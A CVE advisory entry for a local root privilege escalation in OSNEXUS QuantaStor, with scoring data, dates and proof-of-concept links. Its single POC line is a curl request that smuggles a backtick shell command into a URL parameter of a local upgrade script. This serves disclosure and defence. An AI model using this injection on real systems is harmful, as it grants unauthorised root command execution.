CVE-2021-42082

Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Affected

OSNEXUS · QuantaStor

CVSS v3.1 NVD

7.8 HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.18% chance of exploitation in the next 30 days, 8th percentile

Published

2023-07-10

Updated

2025-09-22

Proof-of-concept exploits (2)

• https://www.wbsec.nl/osnexus
• https://csirt.divd.nl/CVE-2021-42082

Security advisories

• https://www.osnexus.com/products/software-defined-storage

References

• CVE Record
• NVD entry